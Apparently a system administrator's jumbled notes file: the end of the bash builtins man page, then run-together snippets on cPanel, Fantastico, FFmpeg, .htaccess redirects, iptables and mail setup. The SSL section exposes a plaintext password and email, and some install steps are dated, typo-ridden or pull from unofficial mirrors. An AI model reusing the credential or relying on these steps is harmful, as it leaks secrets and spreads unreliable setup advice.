supplied as the argument to -u.
readonly [-apf] [name[=word] ...]
The given names are marked readonly; the values of these names
may not be changed by subsequent assignment. If the -f option
is supplied, the functions corresponding to the names are so
marked. The -a option restricts the variables to arrays. If no
name arguments are given, or if the -p option is supplied, a
list of all readonly names is printed. The -p option causes
output to be displayed in a format that may be reused as input.
If a variable name is followed by =word, the value of the vari-
able is set to word. The return status is 0 unless an invalid
option is encountered, one of the names is not a valid shell
variable name, or -f is supplied with a name that is not a
function.
return [n]
Causes a function to exit with the return value specified by n.
If n is omitted, the return status is that of the last command
executed in the function body. If used outside a function, but
during execution of a script by the . (source) command, it
causes the shell to stop executing that script and return either
n or the exit status of the last command executed within the
script as the exit status of the script. If used outside a
function and not during execution of a script by ., the return
status is false. Any command associated with the RETURN trap is
executed before execution resumes after the function or script.
set [--abefhkmnptuvxBCHP] [-o option] [arg ...]
Without options, the name and value of each shell variable are
displayed in a format that can be reused as input for setting or
resetting the currently-set variables. Read-only variables can-
not be reset. In posix mode, only shell variables are listed.
The output is sorted according to the current locale. When
options are specified, they set or unset shell attributes. Any
arguments remaining after the options are processed are treated
as values for the positional parameters and are assigned, in
order, to $1, $2, ... $n. Options, if specified, have the fol-
lowing meanings:
-a Automatically mark variables and functions which are
modified or created for export to the environment of
subsequent commands.
-b Report the status of terminated background jobs immedi-
ately, rather than before the next primary prompt. This
is effective only when job control is enabled.
-e Exit immediately if a simple command (see SHELL GRAMMAR
above) exits with a non-zero status. The shell does not
exit if the command that fails is part of the command
list immediately following a while or until keyword,
part of the test in an if statement, part of a && or ââ
list, or if the commandâs return value is being inverted
via !. A trap on ERR, if set, is executed before the
shell exits.
-f Disable pathname expansion.
-h Remember the location of commands as they are looked up
for execution. This is enabled by default.
-k All arguments in the form of assignment statements are
placed in the environment for a command, not just those
that precede the command name.
-m Monitor mode. Job control is enabled. This option is
on by default for interactive shells on systems that
support it (see JOB CONTROL above). Background pro-
cesses run in a separate process group and a line con-
taining their exit status is printed upon their comple-
tion.
-n Read commands but do not execute them. This may be used
to check a shell script for syntax errors. This is
ignored by interactive shells.
-o option-name
The option-name can be one of the following:
allexport
Same as -a.
braceexpand
Same as -B.
emacs Use an emacs-style command line editing inter-
face. This is enabled by default when the shell
is interactive, unless the shell is started with
the --noediting option.
errtrace
Same as -E.
functrace
Same as -T.
errexit Same as -e.
hashall Same as -h.
histexpand
Same as -H.
history Enable command history, as described above under
HISTORY. This option is on by default in inter-
active shells.
ignoreeof
The effect is as if the shell command
ââIGNOREEOF=10ââ had been executed (see Shell
Variables above).
keyword Same as -k.
monitor Same as -m.
noclobber
Same as -C.
noexec Same as -n.
noglob Same as -f. nolog Currently ignored.
notify Same as -b.
nounset Same as -u.
onecmd Same as -t.
physical
Same as -P.
pipefail
If set, the return value of a pipeline is the
value of the last (rightmost) command to exit
with a non-zero status, or zero if all commands
in the pipeline exit successfully. This option
is disabled by default.
posix Change the behavior of bash where the default
operation differs from the POSIX standard to
match the standard (posix mode).
privileged
Same as -p.
verbose Same as -v.
vi Use a vi-style command line editing interface.
xtrace Same as -x.
If -o is supplied with no option-name, the values of the
current options are printed. If +o is supplied with no
option-name, a series of set commands to recreate the
current option settings is displayed on the standard
output.
-p Turn on privileged mode. In this mode, the $ENV and
$BASH_ENV files are not processed, shell functions are
not inherited from the environment, and the SHELLOPTS
variable, if it appears in the environment, is ignored.
If the shell is started with the effective user (group)
id not equal to the real user (group) id, and the -p
option is not supplied, these actions are taken and the
effective user id is set to the real user id. If the -p
option is supplied at startup, the effective user id is
not reset. Turning this option off causes the effective
user and group ids to be set to the real user and group
ids.
-t Exit after reading and executing one command.
-u Treat unset variables as an error when performing param-
eter expansion. If expansion is attempted on an unset
variable, the shell prints an error message, and, if not
interactive, exits with a non-zero status.
-v Print shell input lines as they are read.
-x After expanding each simple command, for command, case
command, select command, or arithmetic for command, dis-
play the expanded value of PS4, followed by the command
and its expanded arguments or associated word list.
-B The shell performs brace expansion (see Brace Expansion
above). This is on by default.
-C If set, bash does not overwrite an existing file with
the >, >&, and <> redirection operators. This may be
overridden when creating output files by using the redi-
rection operator >| instead of >.
-E If set, any trap on ERR is inherited by shell functions,
command substitutions, and commands executed in a sub-
shell environment. The ERR trap is normally not inher-
ited in such cases.
-H Enable ! style history substitution. This option is on
by default when the shell is interactive.
-P If set, the shell does not follow symbolic links when
executing commands such as cd that change the current
working directory. It uses the physical directory
structure instead. By default, bash follows the logical
chain of directories when performing commands which
change the current directory.
-T If set, any traps on DEBUG and RETURN are inherited by
shell functions, command substitutions, and commands
executed in a subshell environment. The DEBUG and
RETURN traps are normally not inherited in such cases.
-- If no arguments follow this option, then the positional
parameters are unset. Otherwise, the positional parame-
ters are set to the args, even if some of them begin
with a -.
- Signal the end of options, cause all remaining args to
be assigned to the positional parameters. The -x and -v
options are turned off. If there are no args, the posi-
tional parameters remain unchanged.
The options are off by default unless otherwise noted. Using +
rather than - causes these options to be turned off. The
options can also be specified as arguments to an invocation of
the shell. The current set of options may be found in $-. The
return status is always true unless an invalid option is encoun-
tered.
shift [n]
The positional parameters from n+1 ... are renamed to $1 ....
Parameters represented by the numbers $# down to $#-n+1 are
unset. n must be a non-negative number less than or equal to
$#. If n is 0, no parameters are changed. If n is not given,
it is assumed to be 1. If n is greater than $#, the positional
parameters are not changed. The return status is greater than
zero if n is greater than $# or less than zero; otherwise 0.
shopt [-pqsu] [-o] [optname ...]
Toggle the values of variables controlling optional shell behav-
ior. With no options, or with the -p option, a list of all set-
table options is displayed, with an indication of whether or not
each is set. The -p option causes output to be displayed in a
form that may be reused as input. Other options have the fol-
lowing meanings:
-s Enable (set) each optname.
-u Disable (unset) each optname.
-q Suppresses normal output (quiet mode); the return status
indicates whether the optname is set or unset. If
multiple optname arguments are given with -q, the return
status is zero if all optnames are enabled; non-zero oth-
erwise.
-o Restricts the values of optname to be those defined for
the -o option to the set builtin.
If either -s or -u is used with no optname arguments, the dis-
play is limited to those options which are set or unset, respec-
tively. Unless otherwise noted, the shopt options are disabled
(unset) by default.
The return status when listing options is zero if all optnames
are enabled, non-zero otherwise. When setting or unsetting
options, the return status is zero unless an optname is not a
valid shell option.
The list of shopt options is:
cdable_vars
If set, an argument to the cd builtin command that is
not a directory is assumed to be the name of a variable
whose value is the directory to change to.
cdspell If set, minor errors in the spelling of a directory com-
ponent in a cd command will be corrected. The errors
checked for are transposed characters, a missing charac-
ter, and one character too many. If a correction is
found, the corrected file name is printed, and the com-
mand proceeds. This option is only used by interactive
shells.
checkhash
If set, bash checks that a command found in the hash ta-
ble exists before trying to execute it. If a hashed
command no longer exists, a normal path search is per-
formed.
checkwinsize
If set, bash checks the window size after each command
and, if necessary, updates the values of LINES and
COLUMNS.
cmdhist If set, bash attempts to save all lines of a multiple-
line command in the same history entry. This allows
easy re-editing of multi-line commands.
dotglob If set, bash includes filenames beginning with a â.â in
the results of pathname expansion.
execfail
If set, a non-interactive shell will not exit if it can-
not execute the file specified as an argument to the
exec builtin command. An interactive shell does not
exit if exec fails.
expand_aliases
If set, aliases are expanded as described above under
ALIASES. This option is enabled by default for interac-
tive shells.
extdebug
If set, behavior intended for use by debuggers is
enabled:
1. The -F option to the declare builtin displays the
source file name and line number corresponding to
each function name supplied as an argument.
2. If the command run by the DEBUG trap returns a
non-zero value, the next command is skipped and
not executed.
3. If the command run by the DEBUG trap returns a
value of 2, and the shell is executing in a sub-
routine (a shell function or a shell script exe-
cuted by the . or source builtins), a call to
return is simulated.
4. BASH_ARGC and BASH_ARGV are updated as described
in their descriptions above.
5. Function tracing is enabled: command substitu-
tion, shell functions, and subshells invoked with
( command ) inherit the DEBUG and RETURN traps.
6. Error tracing is enabled: command substitution,
shell functions, and subshells invoked with (
command ) inherit the ERROR trap.
extglob If set, the extended pattern matching features described
above under Pathname Expansion are enabled.
extquote
If set, $'string' and $"string" quoting is performed
within ${parameter} expansions enclosed in double
quotes. This option is enabled by default.
failglob
If set, patterns which fail to match filenames during
pathname expansion result in an expansion error.
force_fignore
If set, the suffixes specified by the FIGNORE shell
variable cause words to be ignored when performing word
completion even if the ignored words are the only possi-
ble completions. See SHELL VARIABLES above for a
description of FIGNORE. This option is enabled by
default.
gnu_errfmt
If set, shell error messages are written in the standard
GNU error message format.
histappend
If set, the history list is appended to the file named
by the value of the HISTFILE variable when the shell
exits, rather than overwriting the file.
histreedit
If set, and readline is being used, a user is given the
opportunity to re-edit a failed history substitution.
histverify
If set, and readline is being used, the results of his-
tory substitution are not immediately passed to the
shell parser. Instead, the resulting line is loaded
into the readline editing buffer, allowing further modi-
fication.
hostcomplete
If set, and readline is being used, bash will attempt to
perform hostname completion when a word containing a @
is being completed (see Completing under READLINE
above). This is enabled by default.
huponexit
If set, bash will send SIGHUP to all jobs when an inter-
active login shell exits.
interactive_comments
If set, allow a word beginning with # to cause that word
and all remaining characters on that line to be ignored
in an interactive shell (see COMMENTS above). This
option is enabled by default.
lithist If set, and the cmdhist option is enabled, multi-line
commands are saved to the history with embedded newlines
rather than using semicolon separators where possible.
login_shell
The shell sets this option if it is started as a login
shell (see INVOCATION above). The value may not be
changed.
mailwarn
If set, and a file that bash is checking for mail has
been accessed since the last time it was checked, the
message ââThe mail in mailfile has been readââ is dis-
played.
no_empty_cmd_completion
If set, and readline is being used, bash will not
attempt to search the PATH for possible completions when
completion is attempted on an empty line.
nocaseglob
If set, bash matches filenames in a case-insensitive
fashion when performing pathname expansion (see Pathname
Expansion above).
nocasematch
If set, bash matches patterns in a case-insensitive
fashion when performing matching while executing case or
[[ conditional commands.
nullglob
If set, bash allows patterns which match no files (see
Pathname Expansion above) to expand to a null string,
rather than themselves.
progcomp
If set, the programmable completion facilities (see Pro-
grammable Completion above) are enabled. This option is
enabled by default.
promptvars
If set, prompt strings undergo parameter expansion, com-
mand substitution, arithmetic expansion, and quote
removal after being expanded as described in PROMPTING
above. This option is enabled by default.
restricted_shell
The shell sets this option if it is started in
restricted mode (see RESTRICTED SHELL below). The value
may not be changed. This is not reset when the startup
files are executed, allowing the startup files to dis-
cover whether or not a shell is restricted.
shift_verbose
If set, the shift builtin prints an error message when
the shift count exceeds the number of positional parame-
ters.
sourcepath
If set, the source (.) builtin uses the value of PATH to
find the directory containing the file supplied as an
argument. This option is enabled by default.
xpg_echo
If set, the echo builtin expands backslash-escape
sequences by default.
suspend [-f]
Suspend the execution of this shell until it receives a SIGCONT
signal. When the suspended shell is a background process, it
can be restarted by the fg command. For more information, read
the JOB CONTROL section. The suspend command can not suspend the
login shell. However, when -f option is specified, suspend com-
mand can suspend even login shell. The return status is 0
unless the shell is a login shell and -f is not supplied, or if
job control is not enabled.
test expr
[ expr ]
Return a status of 0 or 1 depending on the evaluation of the
conditional expression expr. Each operator and operand must be
a separate argument. Expressions are composed of the primaries
described above under CONDITIONAL EXPRESSIONS. test does not
accept any options, nor does it accept and ignore an argument of
-- as signifying the end of options.
Expressions may be combined using the following operators,
listed in decreasing order of precedence.
! expr True if expr is false.
( expr )
Returns the value of expr. This may be used to override
the normal precedence of operators.
expr1 -a expr2
True if both expr1 and expr2 are true.
expr1 -o expr2
True if either expr1 or expr2 is true.
test and [ evaluate conditional expressions using a set of rules
based on the number of arguments.
0 arguments
The expression is false.
1 argument
The expression is true if and only if the argument is not
null.
2 arguments
If the first argument is !, the expression is true if and
only if the second argument is null. If the first argu-
ment is one of the unary conditional operators listed
above under CONDITIONAL EXPRESSIONS, the expression is
true if the unary test is true. If the first argument is
not a valid unary conditional operator, the expression is
false.
3 arguments
If the second argument is one of the binary conditional
operators listed above under CONDITIONAL EXPRESSIONS, the
result of the expression is the result of the binary test
using the first and third arguments as operands. If the
first argument is !, the value is the negation of the
two-argument test using the second and third arguments.
If the first argument is exactly ( and the third argument
is exactly ), the result is the one-argument test of the
second argument. Otherwise, the expression is false.
The -a and -o operators are considered binary operators
in this case.
4 arguments
If the first argument is !, the result is the negation of
the three-argument expression composed of the remaining
arguments. Otherwise, the expression is parsed and eval-
uated according to precedence using the rules listed
above.
5 or more arguments
The expression is parsed and evaluated according to
precedence using the rules listed above.
times Print the accumulated user and system times for the shell and
for processes run from the shell. The return status is 0.
trap [-lp] [[arg] sigspec ...]
The command arg is to be read and executed when the shell
receives signal(s) sigspec. If arg is absent (and there is a
single sigspec) or -, each specified signal is reset to its
original disposition (the value it had upon entrance to the
shell). If arg is the null string the signal specified by each
sigspec is ignored by the shell and by the commands it invokes.
If arg is not present and -p has been supplied, then the trap
commands associated with each sigspec are displayed. If no
arguments are supplied or if only -p is given, trap prints the
list of commands associated with each signal. The -l option
causes the shell to print a list of signal names and their cor-
responding numbers. Each sigspec is either a signal name
defined in <signal.h>, or a signal number. Signal names are
case insensitive and the SIG prefix is optional. If a sigspec
is EXIT (0) the command arg is executed on exit from the shell.
If a sigspec is DEBUG, the command arg is executed before every
simple command, for command, case command, select command, every
arithmetic for command, and before the first command executes in
a shell function (see SHELL GRAMMAR above). Refer to the
description of the extdebug option to the shopt builtin for
details of its effect on the DEBUG trap. If a sigspec is ERR,
the command arg is executed whenever a simple command has a
non-zero exit status, subject to the following conditions. The
ERR trap is not executed if the failed command is part of the
command list immediately following a while or until keyword,
part of the test in an if statement, part of a && or ââ list, or
if the commandâs return value is being inverted via !. These
are the same conditions obeyed by the errexit option. If a
sigspec is RETURN, the command arg is executed each time a shell
function or a script executed with the . or source builtins fin-
ishes executing. Signals ignored upon entry to the shell cannot
be trapped or reset. Trapped signals that are not being ignored
are reset to their original values in a child process when it is
created. The return status is false if any sigspec is invalid;
otherwise trap returns true.
type [-aftpP] name [name ...]
With no options, indicate how each name would be interpreted if
used as a command name. If the -t option is used, type prints a
string which is one of alias, keyword, function, builtin, or
file if name is an alias, shell reserved word, function,
builtin, or disk file, respectively. If the name is not found,
then nothing is printed, and an exit status of false is
returned. If the -p option is used, type either returns the
name of the disk file that would be executed if name were speci-
fied as a command name, or nothing if ââtype -t nameââ would not
return file. The -P option forces a PATH search for each name,
even if ââtype -t nameââ would not return file. If a command is
hashed, -p and -P print the hashed value, not necessarily the
file that appears first in PATH. If the -a option is used, type
prints all of the places that contain an executable named name.
This includes aliases and functions, if and only if the -p
option is not also used. The table of hashed commands is not
consulted when using -a. The -f option suppresses shell func-
tion lookup, as with the command builtin. type returns true if
any of the arguments are found, false if none are found.
ulimit [-SHacdefilmnpqrstuvx [limit]]
Provides control over the resources available to the shell and
to processes started by it, on systems that allow such control.
The -H and -S options specify that the hard or soft limit is set
for the given resource. A hard limit cannot be increased once
it is set; a soft limit may be increased up to the value of the
hard limit. If neither -H nor -S is specified, both the soft
and hard limits are set. The value of limit can be a number in
the unit specified for the resource or one of the special values
hard, soft, or unlimited, which stand for the current hard
limit, the current soft limit, and no limit, respectively. If
limit is omitted, the current value of the soft limit of the
resource is printed, unless the -H option is given. When more
than one resource is specified, the limit name and unit are
printed before the value. Other options are interpreted as fol-
lows:
-a All current limits are reported
-c The maximum size of core files created
-d The maximum size of a processâs data segment
-e The maximum scheduling priority ("nice")
-f The maximum size of files written by the shell and its
children
-i The maximum number of pending signals
-l The maximum size that may be locked into memory
-m The maximum resident set size (has no effect on Linux)
-n The maximum number of open file descriptors (most systems
do not allow this value to be set)
-p The pipe size in 512-byte blocks (this may not be set)
-q The maximum number of bytes in POSIX message queues
-r The maximum real-time scheduling priority
-s The maximum stack size
-t The maximum amount of cpu time in seconds
-u The maximum number of processes available to a single
user
-v The maximum amount of virtual memory available to the
shell
-x The maximum number of file locks
If limit is given, it is the new value of the specified resource
(the -a option is display only). If no option is given, then -f
is assumed. Values are in 1024-byte increments, except for -t,
which is in seconds, -p, which is in units of 512-byte blocks,
and -n and -u, which are unscaled values. The return status is
0 unless an invalid option or argument is supplied, or an error
occurs while setting a new limit.
umask [-p] [-S] [mode]
The user file-creation mask is set to mode. If mode begins with
a digit, it is interpreted as an octal number; otherwise it is
interpreted as a symbolic mode mask similar to that accepted by
chmod(1). If mode is omitted, the current value of the mask is
printed. The -S option causes the mask to be printed in sym-
bolic form; the default output is an octal number. If the -p
option is supplied, and mode is omitted, the output is in a form
that may be reused as input. The return status is 0 if the mode
was successfully changed or if no mode argument was supplied,
and false otherwise.
unalias [-a] [name ...]
Remove each name from the list of defined aliases. If -a is
supplied, all alias definitions are removed. The return value
is true unless a supplied name is not a defined alias.
unset [-fv] [name ...]
For each name, remove the corresponding variable or function.
If no options are supplied, or the -v option is given, each name
refers to a shell variable. Read-only variables may not be
unset. If -f is specified, each name refers to a shell func-
tion, and the function definition is removed. Each unset vari-
able or function is removed from the environment passed to sub-
sequent commands. If any of RANDOM, SECONDS, LINENO, HISTCMD,
FUNCNAME, GROUPS, or DIRSTACK are unset, they lose their special
properties, even if they are subsequently reset. The exit sta-
tus is true unless a name is readonly.
wait [n ...]
Wait for each specified process and return its termination sta-
tus. Each n may be a process ID or a job specification; if a
job spec is given, all processes in that jobâs pipeline are
waited for. If n is not given, all currently active child pro-
cesses are waited for, and the return status is zero. If n
specifies a non-existent process or job, the return status is
127. Otherwise, the return status is the exit status of the
last process or job waited for.
SEE ALSO
bash(1), sh(1)
GNU Bash-3.0 2004 Apr 20 BASH_BUILTINS(1)
root@click [/usr/local/apache/htdocs]#
export HISTTIMEFORMAT='%F%T' #histry|moreDear Andrew,
You can not forward .eml files from outlook cause we cannot save msoutlook email in .eml, but you could import Outlook's messages into Outlook Express and then save them as EML.
You can follow the steps given below to import the rfc822 files that typically have a file extension of .eml or .msg
Steps for import .eml files :
Using Windows Explorer, open the folder containing the .eml or .msg files
Open Outlook or Outlook Express
Highlight the files in the windows folder
Click and drag the files into Outlook
That's it! You're done!
cannot install fantastico : http://www.netenberg.com/forum/index.php?topic=5430.0
How to install Fantastico on cPanel/WHM
Tutorial courtesy of netenberg.com
You don't need to download any files in order to install Fantastico!
Just SSH to your server and enter following commands (you may also copy/paste):
cd /usr/local/cpanel/whostmgr/docroot/cgi
wget -N http://files.betaservant.com/files/free/fantastico_whm_admin.tgz
tar -xzpf fantastico_whm_admin.tgz
rm -rf fantastico_whm_admin.tgz
NOW GO TO YOUR WHM -> Add-Ons (Plugins on v11.x or higher) -> Fantastico De Luxe WHM Admin (scroll down the left menu).
Follow the on screen instructions.
If you get a Source Guardian error when you go to Fantastico for the first time, just run this command:
chmod -R 0755 /usr/local/cpanel/3rdparty/etc/ixed
After the installation is complete, click on "Settings" and go through the settings. While some settings are not important, some other (marked below with an *) are essential for a proper functioning of Fantastico installations.
Language: Select the language for the admin backend AND default language for users without a language selected.
Email notifications: Enter an email address in order to receive notifications when users perform installations using Fantastico.
Master files settings (*): If you are not an advanced user who modifies the master files, leave this to "Remove". Change this only if you know what you are doing
PHPsuexec (*): VERY ESSENTIAL!!! Changing this value will not install or de-install phpsuexec for you. It will only tell Fantastico that you have phpsuexec installed or not installed on your server. Change to "installed" if you perform installations which produce an "Internal Server Error". Notice: Changes will not apply to existing installations! You have to re-install in order to have working installations.
Path to netPBM: Enter the full path to the netPBM binaries in order to enable Gallery installations. As long as this field has no value, your users will not be able to install Gallery.
Select Fantastico licensing and files server: If the Fantastico pages take long to load switch to the server that works best for you. Fantastico will auto-switch if connections time out.
Update preference: Select latest version (sometimes experimental) or stable version (best working).
If your users don't see a Fantastico link in their CPanel: Go to WHM and edit the "default" Features List. Activate Fantastico.
rpm -qa wget ;
wget ftp://ftp.funet.fi/pub/mirrors/ftp.redhat.com/pub/fedora/linux/core/5/i386/os/Fedora/RPMS/wget-1.10.2-3.2.1.i386.rpm
chattr -ia /usr/bin/wget
rpm -e wget ;
rpm -ivh --force wget-1.10.2-3.2.1.i386.rpm ;
rpm -qa wget ;http://www.eukhost.com/forums/f15/how-install-ffmpeg-ffmpeg-php-mplayer-mencoder-flv2tool-lame-mp3-encoder-4893/
How To Install FFmpeg + FFmpeg-PHP + Mplayer + Mencoder + flv2tool + LAME MP3 Encoder
Hello,
Following are the steps to install FFmpeg + FFmpeg-PHP + Mplayer + Mencoder + flv2tool + LAME MP3 Encoder + Libog on a Linux server or VPS Hosting Manually. There are many automated scripts available which install these but its better to do it manually as in case of an error occuring during the installation process, we can stop the installation and fix them. These steps also include the common fixes for such errors.
1.
cd /usr/local/src/
DOWNLOAD MODULES
wget www3.mplayerhq.hu/MPlayer/releases/codecs/essential-20061022.tar.bz2
wget rubyforge.org/frs/download.php/9225/flvtool2_1.0.5_rc6.tgz
wget easynews.dl.sourceforge.net/sourceforge/lame/lame-3.97.tar.gz
wget superb-west.dl.sourceforge.net/sourceforge/ffmpeg-php/ffmpeg-php-0.5.1.tbz2
wget downloads.xiph.org/releases/ogg/libogg-1.1.3.tar.gz
wget downloads.xiph.org/releases/vorbis/libvorbis-1.1.2.tar.gz
2.
EXTRACT MODULES
tar zxvf lame-3.97.tar.gz
tar zxvf libogg-1.1.3.tar.gz
tar zxvf libvorbis-1.1.2.tar.gz
tar zxvf flvtool2_1.0.5_rc6.tgz
tar jxvf essential-20061022.tar.bz2
tar jxvf ffmpeg-php-0.5.1.tbz2
mkdir /usr/local/lib/codecs/
yum install gcc gmake make libcpp libgcc libstdc++ gcc4 gcc4-c++ gcc4-gfortran subversion ruby ncurses-devel -y
3
DOWNLOAD FFMPEG and MPLAYER
svn checkout svn://svn.mplayerhq.hu/ffmpeg/trunk ffmpeg
svn checkout svn://svn.mplayerhq.hu/mplayer/trunk mplayer
cd /usr/local/src/mplayer
svn update
cd /usr/local/src/
mv /usr/local/src/essential-20061022/* /usr/local/lib/codecs/
chmod -R 755 /usr/local/lib/codecs/
4
LAME:
cd /usr/local/src/lame-3.97
./configure
make && make install
5.
LIBOGG
cd /usr/local/src/
cd /usr/local/src/libogg-1.1.3
./configure --enable-shared && make && make install
PKG_CONFIG_PATH=/usr/local/lib/pkgconfig
export PKG_CONFIG_PATH
6.
LIBVORBIS
cd /usr/local/src/
cd /usr/local/src/libvorbis-1.1.2
./configure && make && make install
7.
FLVTOOL2
cd /usr/local/src/
cd /usr/local/src/flvtool2_1.0.5_rc6/
ruby setup.rb config
ruby setup.rb setup
ruby setup.rb install
8.
MPLAYER
cd /usr/local/src/
cd /usr/local/src/mplayer
./configure && make && make install
cd /usr/local/src/
9.
FFMPEG:
cd /usr/local/src/ffmpeg/
./configure --enable-libmp3lame --enable-libvorbis --disable-mmx --enable-shared
make
make install
10.
export LD_LIBRARY_PATH=/usr/local/lib/
ln -s /usr/local/lib/libavformat.so.50 /usr/lib/libavformat.so.50
ln -s /usr/local/lib/libavcodec.so.51 /usr/lib/libavcodec.so.51
ln -s /usr/local/lib/libavutil.so.49 /usr/lib/libavutil.so.49
ln -s /usr/local/lib/libmp3lame.so.0 /usr/lib/libmp3lame.so.0
ln -s /usr/local/lib/libavformat.so.51 /usr/lib/libavformat.so.51
11.
FFMPEG-PHP:
cd /usr/local/src/
cd /usr/local/src/ffmpeg-php-0.5.1/
phpize
./configure
make
make install
12.
NOTICE: Make sure this is the correct php.ini for the box!!
echo 'extension=ffmpeg.so' >> /usr/local/Zend/etc/php.ini
NOTICE: Make sure this is the correct php.ini for the box!!
13.
RESTART APACHE
service httpd restartuplaod software : kompozer like Filzilla
How to Design and Publish Your Website with KompoZer
Uploading or Publishing Your First Web Page
To publish the page, go to "File | Publish" (ie, the "Publish" item on the "File" menu). A "Publish Page" dialog box will appear asking you for more details.
"Site Name" is the name that you want to give your website. Use the name that you gave to your website when asked for the title earlier (ie, "Shakespeare's Website" or "XYZ Company" or whatever). This name is only used by KompoZer internally, to refer to your site, but it's probably best to use the real name you ultimately wish to give to your site to minimize any confusion later.
The "HTTP address of your homepage" field specifies the actual web address (or URL) of your website. If you registered a domain name like "example.com" for your site, enter "http://www.example.com/" into this box. This field is required because KompoZer will use this information to form links on your site. Be sure to enter the "http://" prefix as well.
"Publishing server" is a bit more complicated to explain. When you signed up for your web hosting account from a commercial web host, you would have been given a whole bunch of details by your web host. Among these is something known as your "FTP address". FTP, or File Transfer Protocol, is the usual means by which you transfer your web pages from your own computer to your web host's computer. Transferring your pages from your computer to your web host's computer is known as "publishing" or "uploading" your pages.
For the purpose of this tutorial, I will assume that your web host told you that your FTP address is "ftp.example.com". You should substitute your real FTP address everytime you see "ftp.example.com" in the examples below.
Before you enter that address though, you will need to know which directory (or folder) you need to put your web pages. Some web hosts require you to put your web pages in a directory named "www". Others require you to put it in a "public_html" directory. Still others say that you are to put your web pages into the default directory that you see when you connect by FTP. And so on. Find out the directory where you're supposed to upload your web pages to.
Once you've got all the details, you're ready to form the address you have to enter into the "Publishing address" field.
If your FTP address is "ftp.example.com", and the directory that you're supposed to upload to is "www", enter "ftp://ftp.example.com/www" here. Notice that you have prefixed "ftp://" to your FTP address ("ftp.example.com"), added a slash ("/") and followed it with your web directory name ("www"). If your web host tells you to simply upload it to the directory you are logged into when you connect by FTP, then just enter "ftp://ftp.example.com" here.
The "User name" and "Password" fields in the dialog box refers to user name (or login name) and password that your web host assigned to you. It is needed so that KompoZer can connect to your FTP account and upload (publish) your pages.
When you've finished completing the information, click the "Publish" button. KompoZer will proceed to connect to your FTP account on your web host and upload your pages. There will be a dialog box that pops up to tell you it is uploading your page. The box will automatically disappear when KompoZer has completed its task.
If you get an error message from KompoZer, look through the guide above again and recheck all your settings. Most of the problems at this stage are caused by one of the settings not being correctly entered. If you have eliminated all possible errors in your settings and still get an "Unknown publishing error", check my FAQ on this.
Testing the Web Page
Before you proceed further, you need to test the web page you have uploaded. This way, you will know whether you've made any mistake when entering your details earlier.
Start up your browser. Type the URL (web address) of your website. This is the address that you typed into the "HTTP address" field earlier. For example, type "http://www.example.com" if that is your URL.
If you've entered the "publishing server" earlier correctly, you should see the page you created earlier in your web browser.
If you get an error like "No DNS for www.example.com" or "Domain not found", it probably means that your domain name has not yet propagated to your ISP. Put simply, this means that you probably only just bought your domain name. It takes time for a new domain name to be recognized across the world (usually 2 or more days), so it's possible that your ISP has not yet updated its name servers to recognize your new domain. Some web hosts give you a temporary address which you can use to access your website in meantime. If you have that, use the temporary address to check that your site has been uploaded properly. Otherwise, you'll just have to wait.
If you get an error like "404 File Not Found" or you get your web host's preinstalled default page, you may need to go back and check your "publishing server" field. You may have published your page to a location that is not recognized by the web server as the default page to show when only your domain name is entered.
You can change the settings that you have just entered by accessing the "Edit | Publishing Site Settings" menu. Then click the name of your website in the left pane, under "Publishing sites". One possibility for the page not showing is that you did not specify the correct directory on your web site to publish your index.html page to. A more remote possibility is that your web host requires that your page be named something other than "index.html". This is very rare nowadays, so explore this last possibility only when you've ruled out all others. At worse, ask your web host's support department or check their documentation for help.
If what you see is your domain parking page created by default when you first bought your domain name, it may mean that you forgot to point your domain name to your web hosting account. I strongly recommend that you go back and follow the steps given the How to Start / Make a Website in addition to following this tutorial. As mentioned before, there's more to creating a website than just using a web editor.
If you get no errors at all, but see the page that you've designed earlier, congratulations! You've created and uploaded your first web page. It may be a rudimentary page but you have successfully walked through all the essential stages of designing and uploading a web page./usr/local/cpanel/bin/apache_conf_distiller --update/scripts/rebuildhttpdconf
Will recreate httpd.conf
https only AND www only
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}
#RewriteCond %{HTTP_HOST} ^webhelpingaids\.com
#RewriteRule ^(.*)$ http://www.webhelpingaids.com/$1 [R=permanent,L]
Options +FollowSymLinks
RewriteEngine on
RewriteCond %{HTTP_HOST} ^digitalhothouse.co.nz [NC]
RewriteCond %{HTTP_HOST} ^www.digitalhothouse.co.nz [NC]
RewriteRule ^(.*)$ https://www.digitalhothouse.co.nz/ [L,R=301]
Hot to check ImageMagic ?
which convert
if its not installed on the server :
you can run the following command :
yum install ImageMagic
How to install ImageMagick on linux?
Here are the steps that I have followed :
============
1.Check whether ImageMagick has been installed or not.
which convert or which montage like this or locate ImageMagick. Or rpm -qa |grep ImageMagic
2. yum install ImageMagick
3. Now check once again.
4. rpm -ql ImageMagic| more
5. rpm -qf /usr/local/bin/convert //to check the exact rpm which has used for this binary.
============
That's it. Try now :)
cd /var/www/html/ or /usr/local/apache/htdocs
pico serverstats_inc.php
<?php
echo exec(uptime);
?>
chmod 755 serverstats_inc.php
ADMIN PROCEDURE - Order SSL Certificate
Login to the server and generate the CSR / Key, use the following details..
Cert Info (this will be displayed when a user connects)
Host to make cert for domain (normally with www) or servername
Country (2 letter Abbrivation) US
State Texas
City Humble
Company Name ghostcare
Company Division Networks
Email sw@minmaxgroup.com
Password jjdd93jfd
*********************************************************
New Details :
Hostname: chief.site.com
Company: MinMax Group LLC
Division: Networks
Country: US
State: NY
City: Long Island City
Email: sw@minmaxgroup.com
cd /usr/local
wget http://downloads.ioncube.com/loader_downloads/ioncube_loaders_lin_x86.tar.gz
tar -zxvf gz-file-which-was-wgetted
cd ioncubeadd in php.ini
zend_extension="/home/juicydea/public_html/ioncube_loader_lin_5.2.so"block ip if there are 10 hits within a minute from same ip.
iptables -I INPUT -p tcp --dport 80 -i eth0 -m state --state NEW -m recent --update --seconds 60 --hitcount 10 -j DROPHello,
Please try to reconfigure the email account with the following configuration settings for the iPhone :
1. First activate the phone screen, and then click on 'Settings'…
2. next is to click on the iPhone Mail .
3. Now to setup a new account click on 'Add Account'.
4. Since Apple there are several preconfigured options in iPone like 'Google, 'Yahoo', 'Mac' and 'AOL', but probably you need to setup different mail since you are reading this iPhone tutorial.
To setup a different account tap on 'Other'
5. In this 'Other' section in your iPhone, choose POP, then fill the credentials for the mail account.
6. set the Incoming mail : pop.domain.com
Outgoing mail : smtp.domain.com
7. When you are ready, double check the settings with the service provider and click 'Save' at the top right corner of the iPhone screen.
8. This will put you back into the Mail section, but this time you will have the new account available at the top.
9. Congratulations you have setup your mail. Now go to your main iPhone screen and click on 'Mail' icon.
10. Then choose the iPhone account you just setup.
